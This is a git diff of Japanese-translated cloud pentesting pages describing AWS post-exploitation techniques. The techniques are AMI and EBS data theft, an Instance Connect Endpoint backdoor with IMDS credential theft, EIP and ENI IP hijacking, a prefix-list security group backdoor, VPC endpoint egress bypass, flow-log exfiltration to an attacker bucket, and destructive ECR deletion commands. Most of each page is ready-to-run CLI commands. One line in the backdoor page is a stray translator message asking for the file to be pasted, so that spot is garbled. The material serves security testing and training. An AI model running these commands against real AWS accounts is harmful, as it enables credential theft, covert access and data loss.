+aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
+aws s3 rb "s3://$BUCKET" --force --region "$REGION"
+```
+</details>
+
+## 証拠例
+
+- `describe-store-image-tasks` の遷移:
+```text
+InProgress
+Completed
+```
+- S3 object metadata (例):
+```json
+{
+"AcceptRanges": "bytes",
+"LastModified": "2025-10-08T01:31:46+00:00",
+"ContentLength": 399768709,
+"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
+"ContentType": "application/octet-stream",
+"ServerSideEncryption": "AES256",
+"Metadata": {
+"ami-name": "exfil-1759887010",
+"ami-owner-account": "<account-id>",
+"ami-store-date": "2025-10-08T01:31:45Z"
+}
+}
+```
+- 部分的なダウンロードはオブジェクトへのアクセスを証明する:
+```bash
+ls -l /tmp/ami.bin
+# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin
+```
+## 必要な IAM 権限
+
+- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
+- S3（エクスポートバケット上）: `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
+- KMS: AMI スナップショットが暗号化されている場合、スナップショットで使用される EBS KMS キーに対して復号を許可してください
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md

@@ -0,0 +1,77 @@
+# AWS - Live Data Theft via EBS Multi-Attach
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 概要
+同じ Availability Zone (AZ) 内の攻撃者が制御するインスタンスに同じボリュームをアタッチして、EBS Multi-Attach を悪用しライブの io1/io2 データボリュームを読み取ります。共有ボリュームを読み取り専用でマウントすると、スナップショットを作成せずに使用中のファイルへ即時にアクセスできます。
+
+## 要件
+- 対象ボリューム: 攻撃者インスタンスと同じ Availability Zone (AZ) にあり、`--multi-attach-enabled` で作成された io1 または io2。
+- 権限: 対象ボリューム/インスタンスに対する `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances`。
+- インフラ: Multi-Attach をサポートする Nitro ベースのインスタンスタイプ（C5/M5/R5 ファミリー等）。
+
+## 注意事項
+- 破損リスクを下げ、ジャーナルのリプレイを避けるため、`-o ro,noload` で読み取り専用マウントすること。
+- Nitro インスタンスでは、EBS の NVMe デバイスが安定した `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` パスを公開します（以下に補助あり）。
+
+## Multi-Attach io2 ボリュームを準備してターゲットにアタッチする
+
+例（`us-east-1a` に作成しターゲットにアタッチ）:
+```bash
+AZ=us-east-1a
+# Create io2 volume with Multi-Attach enabled
+VOL_ID=$(aws ec2 create-volume \
+--size 10 \
+--volume-type io2 \
+--iops 1000 \
+--availability-zone $AZ \
+--multi-attach-enabled \
+--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
+--query 'VolumeId' --output text)
+
+# Attach to victim instance
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
+```
+被害者上で、新しいボリュームをフォーマット/マウントし、機密データを書き込む（例示）:
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkfs.ext4 -F "$DEV"
+sudo mkdir -p /mnt/shared
+sudo mount "$DEV" /mnt/shared
+echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
+sudo sync
+```
+## 同じ volume を attacker instance にアタッチ
+```bash
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
+```
+## attacker上で読み取り専用にマウントしてデータを読む
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkdir -p /mnt/steal
+sudo mount -o ro,noload "$DEV" /mnt/steal
+sudo cat /mnt/steal/secret.txt
+```
+期待される結果: 同じ `VOL_ID` に複数の `Attachments`（被害者と攻撃者）が表示され、攻撃者は snapshot を作成せずに被害者が書き込んだファイルを読み取ることができる.
+```bash
+aws ec2 describe-volumes --volume-ids $VOL_ID \
+--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
+```
+<details>
+<summary>ヘルパー: Volume ID で NVMe device path を見つける</summary>
+
+Nitro instances では、volume id を埋め込んだ安定した by-id path を使用してください（`vol` の後のダッシュを削除）:
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
+# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
+```
+</details>
+
+## 影響
+- スナップショットを生成せずに、対象の EBS ボリューム上のライブデータに即時読み取りアクセスが可能になる。
+- 読み書きでマウントされている場合、攻撃者は被害者のファイルシステムを改ざんできる（破損のリスク）。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md

@@ -0,0 +1,113 @@
+# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+EC2 Instance Connect Endpoint (EIC Endpoint) を悪用して、パブリックIPや bastion がないプライベート EC2 インスタンスへの着信 SSH アクセスを獲得する方法:
+- ターゲットサブネット内に EIC Endpoint を作成する
+- ターゲットの SG に対して EIC Endpoint SG からの着信 SSH を許可する
+- `ec2-instance-connect:SendSSHPublicKey` を使って短命の SSH 公開鍵（約60秒有効）を注入する
+- EIC トンネルを開いてインスタンスにピボットし、IMDS からインスタンスプロファイルのクレデンシャルを窃取する
+
+Impact: バスチオンや public IP の制限を回避し、プライベート EC2 インスタンスへのステルスなリモートアクセス経路を確立します。攻撃者はインスタンスプロファイルを引き受けてアカウント内で操作できます。
+
+## Requirements
+- 必要な権限:
+- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
+- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
+- SSH サーバーと EC2 Instance Connect が有効なターゲット Linux インスタンス（Amazon Linux 2 または Ubuntu 20.04+）。デフォルトユーザ: `ec2-user` (AL2) または `ubuntu` (Ubuntu).
+
+## 変数
+```bash
+export REGION=us-east-1
+export INSTANCE_ID=<i-xxxxxxxxxxxx>
+export SUBNET_ID=<subnet-xxxxxxxx>
+export VPC_ID=<vpc-xxxxxxxx>
+export TARGET_SG_ID=<sg-of-target-instance>
+export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
+# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
+export OS_USER=ec2-user
+```
+## EIC Endpoint を作成
+```bash
+aws ec2 create-instance-connect-endpoint \
+--subnet-id "$SUBNET_ID" \
+--security-group-ids "$ENDPOINT_SG_ID" \
+--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
+--region "$REGION" \
+--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
+
+# Wait until ready
+while true; do
+aws ec2 describe-instance-connect-endpoints \
+--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
+--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
+grep -q 'create-complete' EIC_STATE && break
+sleep 5
+done
+```
+## EIC Endpoint からターゲットインスタンスへのトラフィックを許可する
+```bash
+aws ec2 authorize-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+```
+## 一時的な SSH キーを注入してトンネルを開く
+```bash
+# Generate throwaway key
+ssh-keygen -t ed25519 -f /tmp/eic -N ''
+
+# Send short-lived SSH pubkey (valid ~60s)
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "$OS_USER" \
+--ssh-public-key file:///tmp/eic.pub \
+--region "$REGION"
+
+# Open a local tunnel to instance:22 via the EIC Endpoint
+aws ec2-instance-connect open-tunnel \
+--instance-id "$INSTANCE_ID" \
+--instance-connect-endpoint-id "$(cat EIC_ID)" \
+--local-port 2222 --remote-port 22 --region "$REGION" &
+TUN_PID=$!; sleep 2
+
+# SSH via the tunnel (within the 60s window)
+ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
+```
+## ポストエクスプロイテーションの証明（インスタンスプロファイル資格情報の窃取）
+```bash
+# From the shell inside the instance
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
+```
+そのファイルの内容がまだ提供されていません。src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md のマークダウン内容を貼り付けてください。
+```json
+{
+"Code": "Success",
+"AccessKeyId": "ASIA...",
+"SecretAccessKey": "w0G...",
+"Token": "IQoJ...",
+"Expiration": "2025-10-08T04:09:52Z"
+}
+```
+盗んだ creds をローカルで使って本人確認する:
+```bash
+export AWS_ACCESS_KEY_ID=<AccessKeyId>
+export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
+export AWS_SESSION_TOKEN=<Token>
+aws sts get-caller-identity --region "$REGION"
+# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
+```
+## クリーンアップ
+```bash
+# Revoke SG ingress on the target
+aws ec2 revoke-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+
+# Delete EIC Endpoint
+aws ec2 delete-instance-connect-endpoint \
+--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
+```
+> 注意
+> - 注入されたSSHキーは約60秒しか有効ではありません。トンネル/SSHを開く直前にキーを送信してください。
+> - `OS_USER` は AMI と一致する必要があります（例：`ubuntu` は Ubuntu、`ec2-user` は Amazon Linux 2）。

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md

@@ -0,0 +1,52 @@
+# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 概要
+
+`ec2:AssociateAddress`（任意で `ec2:DisassociateAddress`）を悪用して、victim instance/ENI から attacker instance/ENI に Elastic IP (EIP) を再関連付けします。これにより、EIP 宛ての着信トラフィックは attacker にリダイレクトされ、また attacker は許可リストに登録されたパブリックIP を使って発信トラフィックを生成し、外部パートナーのファイアウォールを回避できます。
+
+## 前提条件
+- 同一アカウント/VPC 内の対象 EIP allocation ID。
+- あなたが制御する attacker instance/ENI。
+- 権限:
+- `ec2:DescribeAddresses`
+- `ec2:AssociateAddress` が EIP allocation-id と attacker instance/ENI に対して必要
+- `ec2:DisassociateAddress`（任意）。注意: `--allow-reassociation` は前のアタッチメントから自動的にディスアソシエイトします。
+
+## 攻撃
+
+変数
+```bash
+REGION=us-east-1
+ATTACKER_INSTANCE=<i-attacker>
+VICTIM_INSTANCE=<i-victim>
+```
+1) victimのEIPを割り当てるか特定する (labが新しいEIPを割り当ててvictimにアタッチする)
+```bash
+ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
+EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
+```
+2) EIPが現在ターゲットのサービスを指していることを確認する（例: bannerの確認）
+```bash
+curl -sS http://$EIP | grep -i victim
+```
+3) EIPをattackerに再関連付けする（victimから自動的に切り離される）
+```bash
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
+```
+4) EIPがattacker serviceに解決されていることを確認する
+```bash
+sleep 5; curl -sS http://$EIP | grep -i attacker
+```
+証拠（移動された関連付け）:
+```bash
+aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
+--query Addresses[0].AssociationId --output text
+```
+## 影響
+- Inbound impersonation: hijacked EIP への全てのトラフィックが attacker instance/ENI に配信される。
+- Outbound impersonation: Attacker は allowlisted public IP から発信されたように見えるトラフィックを開始できる（partner/external source IP filters を回避するのに有用）。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md

@@ -0,0 +1,50 @@
+# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+`ec2:UnassignPrivateIpAddresses` と `ec2:AssignPrivateIpAddresses` を悪用して、被害者ENIのセカンダリプライベートIPを盗み、同じサブネット/ AZ内の攻撃者ENIに移動させます。多くの内部サービスやセキュリティグループは特定のプライベートIPでアクセスを制御しています。そのセカンダリアドレスを移動することで、攻撃者はL3で信頼されたホストになりすまし、allowlistedなサービスに到達できます。
+
+前提条件:
+- 権限: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` が被害者ENIのARNに対して、`ec2:AssignPrivateIpAddresses` が攻撃者ENIのARNに対して必要です。
+- 両方のENIは同じサブネット/AZ内にある必要があります。ターゲットアドレスはセカンダリIPでなければなりません（プライマリは割り当て解除できません）。
+
+変数:
+- REGION=us-east-1
+- VICTIM_ENI=<eni-xxxxxxxx>
+- ATTACKER_ENI=<eni-yyyyyyyy>
+- PROTECTED_SG=<sg-protected>   # SG on a target service that allows only $HIJACK_IP
+- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
+
+手順:
+1) 被害者ENIからセカンダリIPを選択する
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
+export HIJACK_IP=$(cat HIJACK_IP)
+```
+2) 保護対象のホストがそのIPのみを許可していることを確認する（idempotent）。代わりにSG-to-SGルールを使用している場合は、スキップする。
+```bash
+aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
+```
+3) ベースライン: attacker instance から PROTECTED_HOST へのリクエストは、spoofed source がないと失敗するはず（例: SSM/SSH 経由）
+```bash
+curl -sS --max-time 3 http://$PROTECTED_HOST || true
+```
+4) 被害者の ENI からセカンダリ IP の割り当てを解除する
+```bash
+aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+5) 同じIPを攻撃者のENIに割り当てる (AWS CLI v1では `--allow-reassignment` を追加)
+```bash
+aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+6) 所有権が移転したことを確認
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
+```
+7) attacker instance から、hijacked IP に source-bind して protected host に到達する（IP が OS に設定されていることを確認する。設定されていない場合は `ip addr add $HIJACK_IP/<mask> dev eth0` で追加する）
+```bash
+curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
+```
+## 影響
+- 同一の subnet/AZ 内で ENIs 間に secondary private IPs を移動することで、VPC 内の IP allowlists を回避し、trusted hosts を偽装できます。
+- 特定の source IPs によってアクセスを制限している内部サービスに到達でき、lateral movement とデータアクセスが可能になります。

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md

@@ -0,0 +1,72 @@
+# AWS - Managed Prefix Lists を介した Security Group バックドア
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 概要
+customer-managed Prefix Lists を悪用してステルスなアクセス経路を作成します。security group (SG) ルールが managed Prefix List を参照している場合、そのリストを変更できる者は誰でも攻撃者が管理する CIDRs を静かに追加できます。そのリストを参照するすべての SG（場合によっては Network ACL や VPC endpoint も）が、SG 自体の見た目上の変更なしに新しい範囲を即座に許可します。
+
+## 影響
+- prefix list を参照するすべての SG の許可 IP 範囲が即座に拡大し、SG の編集のみを監視する変更管理を回避します。
+- 永続的な受信/送信バックドアを可能にします: 悪意ある CIDR を prefix list に隠したまま SG ルールは変更されていないように見せられます。
+
+## 要件
+- IAM 権限:
+- `ec2:DescribeManagedPrefixLists`
+- `ec2:GetManagedPrefixListEntries`
+- `ec2:ModifyManagedPrefixList`
+- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (アタッチされている SG を特定するため)
+- オプション: `ec2:CreateManagedPrefixList` （テスト用に新規作成する場合）
+- 環境: 対象の customer-managed Prefix List を参照する SG ルールが少なくとも1つ存在すること。
+
+## 変数
+```bash
+REGION=us-east-1
+PREFIX_LIST_ID=<pl-xxxxxxxx>
+ENTRY_CIDR=<attacker-cidr/32>
+DESCRIPTION="Backdoor – allow attacker"
+```
+## 攻撃手順
+
+1) **候補となる prefix lists と consumers を列挙する**
+```bash
+aws ec2 describe-managed-prefix-lists \
+--region "$REGION" \
+--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
+--output table
+
+aws ec2 get-managed-prefix-list-entries \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--region "$REGION" \
+--query 'Entries[*].[Cidr,Description]'
+```
+Use `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` を使用して、どの SG ルールがそのリストに依存しているかを確認します。
+
+2) **attacker CIDR を prefix list に追加する**
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
+--region "$REGION"
+```
+3) **security groups への伝播を検証する**
+```bash
+aws ec2 describe-security-group-rules \
+--region "$REGION" \
+--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
+--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
+--output table
+```
+$ENTRY_CIDR からのトラフィックは、prefix list が参照されているあらゆる場所（通常は出口プロキシのアウトバウンドルールや共有サービスのインバウンドルール）で許可されるようになります。
+
+## 証拠
+- `get-managed-prefix-list-entries` は攻撃者の CIDR と説明を反映しています。
+- `describe-security-group-rules` は元の SG ルールが prefix list を参照している状態をそのまま表示します（SG の変更は記録されていません）が、新しい CIDR からのトラフィックは成功します。
+
+## クリーンアップ
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--remove-entries Cidr="$ENTRY_CIDR" \
+--region "$REGION"
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md

@@ -0,0 +1,68 @@
+# AWS – 分離されたサブネットからVPC Endpoints経由でのEgress Bypass
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Summary
+
+この手法は、Internet Gateways や NAT を持たないサブネットからデータを外部に送るチャネルを作るために VPC Endpoints を悪用します。Gateway endpoints（例: S3）はサブネットのルートテーブルに prefix‑list ルートを追加します。Interface endpoints（例: execute-api、secretsmanager、ssm など）は、security groups で保護された private IP を持つ到達可能な ENIs を作成します。最小限の VPC/EC2 パーミッションがあれば、攻撃者はパブリック Internet を経由しない制御された egress を有効化できます。
+
+> Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs.
+
+## Option A – S3 Gateway VPC Endpoint
+
+**変数**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `RTB_IDS=<comma-separated route table IDs of private subnets>`
+
+1) Create a permissive endpoint policy file (optional). Save as `allow-put-get-any-s3.json`:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
+}
+```
+2) S3 Gateway endpoint を作成する（選択したルートテーブルに S3 prefix‑list のルートを追加します）:
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.s3 \
+--vpc-endpoint-type Gateway \
+--route-table-ids $RTB_IDS \
+--policy-document file://allow-put-get-any-s3.json   # optional
+```
+Evidence to capture:
+- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` は AWS S3 プレフィックスリストへのルートを示します（例: `DestinationPrefixListId=pl-..., GatewayId=vpce-...`）。
+- それらのサブネット内の instance（with IAM perms）から、Internet を使わずに S3 経由で exfil できる:
+```bash
+# On the isolated instance (e.g., via SSM):
+echo data > /tmp/x.txt
+aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
+```
+## オプションB – Interface VPC Endpoint for API Gateway (execute-api)
+
+**変数**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `SUBNET_IDS=<comma-separated private subnets>`
+- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
+
+1) interface endpoint を作成して SG をアタッチする:
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.execute-api \
+--vpc-endpoint-type Interface \
+--subnet-ids $SUBNET_IDS \
+--security-group-ids $SG_VPCE \
+--private-dns-enabled
+```
+収集する証拠:
+- `aws ec2 describe-vpc-endpoints` が `available` 状態で `NetworkInterfaceIds`（サブネット内の ENIs）を表示する。
+- それらのサブネット内のインスタンスは、これらの VPCE ENIs 経由で Private API Gateway エンドポイントに到達できる（Internet 経路は不要）。
+
+## 影響
+- AWS-managed のプライベート経路を利用して、周辺の egress 制御を回避する。
+- IGW/NAT なしで、分離されたサブネットからのデータ持ち出しを可能にする（例: S3 への書き込み、Private API Gateway の呼び出し、Secrets Manager/SSM/STS へのアクセスなど）。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md

@@ -0,0 +1,74 @@
+# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 概要
+`ec2:CreateFlowLogs` を悪用して、VPC、subnet、または ENI の flow logs を攻撃者が管理する S3 バケットへ直接エクスポートします。delivery role が外部バケットへ書き込むように設定されると、監視対象リソースで検出されたすべての接続が被害者アカウントからストリーミングされます。
+
+## 要件
+- 被害者プリンシパル: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, および `iam:PassRole`（delivery role が必要/作成される場合）。
+- 攻撃者側バケット: `delivery.logs.amazonaws.com` を信頼し、`s3:PutObject` と `bucket-owner-full-control` を許可する S3 ポリシー。
+- オプション: S3 の代わりに CloudWatch にエクスポートする場合は `logs:DescribeLogGroups`（ここでは不要）。
+
+## 攻撃手順
+
+1) **攻撃者** は、VPC Flow Logs の配信サービスがオブジェクトを書き込めるようにする S3 バケットポリシー（攻撃者アカウント内）を用意します。適用する前にプレースホルダを置き換えてください:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVPCFlowLogsDelivery",
+"Effect": "Allow",
+"Principal": { "Service": "delivery.logs.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
+"Condition": {
+"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
+}
+}
+]
+}
+```
+攻撃者アカウントから適用:
+```bash
+aws s3api put-bucket-policy \
+--bucket <attacker-bucket> \
+--policy file://flowlogs-policy.json
+```
+2) **Victim** (compromised principal) が attacker bucket をターゲットにした flow logs を作成する:
+```bash
+REGION=us-east-1
+VPC_ID=<vpc-xxxxxxxx>
+ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
+aws ec2 create-flow-logs \
+--resource-type VPC \
+--resource-ids "$VPC_ID" \
+--traffic-type ALL \
+--log-destination-type s3 \
+--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
+--deliver-logs-permission-arn "$ROLE_ARN" \
+--region "$REGION"
+```
+数分以内に、監視対象の VPC/subnet 内のすべての ENIs に対する接続を含む flow log files が attacker bucket に出現します。
+
+## 証拠
+
+attacker bucket に書き込まれた flow log records のサンプル:
+```text
+version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
+2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
+```
+バケット一覧の証拠:
+```bash
+aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
+```
+## 影響
+- 監視対象の VPC/subnet/ENI に対する継続的な network metadata exfiltration (source/destination IPs, ports, protocols).
+- traffic analysis、機密性の高いサービスの特定、および victim account の外部からの security group misconfigurations の潜在的な探索を可能にする。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md

@@ -1,92 +0,0 @@
-# AWS - ECR ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-詳細については、以下を確認してください
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### ログイン、プル & プッシュ
-```bash
-# Docker login into ecr
-## For public repo (always use us-east-1)
-aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
-## For private repo
-aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
-## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
-
-# Download
-docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
-## If you still have the error "Requested image not found"
-## It might be because the tag "latest" doesn't exit
-## Get valid tags with:
-TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
-curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
-
-# Inspect the image
-docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
-
-# Upload (example uploading purplepanda with tag latest)
-docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-
-# Downloading without Docker
-# List digests
-aws ecr batch-get-image --repository-name level2 \
---registry-id 653711331788 \
---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
-
-## Download a digest
-aws ecr get-download-url-for-layer \
---repository-name level2 \
---registry-id 653711331788 \
---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
-```
-画像をダウンロードした後は、**機密情報を確認する必要があります**：
-
-{{#ref}}
-https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
-{{#endref}}
-
-### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-
-これらの権限を持つ攻撃者は、**リポジトリ内のすべての画像を削除するライフサイクルポリシーを作成または変更し、**その後**ECRリポジトリ全体を削除することができます**。これにより、リポジトリに保存されているすべてのコンテナ画像が失われます。
-```bash
-bashCopy code# Create a JSON file with the malicious lifecycle policy
-echo '{
-"rules": [
-{
-"rulePriority": 1,
-"description": "Delete all images",
-"selection": {
-"tagStatus": "any",
-"countType": "imageCountMoreThan",
-"countNumber": 0
-},
-"action": {
-"type": "expire"
-}
-}
-]
-}' > malicious_policy.json
-
-# Apply the malicious lifecycle policy to the ECR repository
-aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
-
-# Delete the ECR repository
-aws ecr delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete the ECR public repository
-aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete multiple images from the ECR repository
-aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-
-# Delete multiple images from the ECR public repository
-aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-```
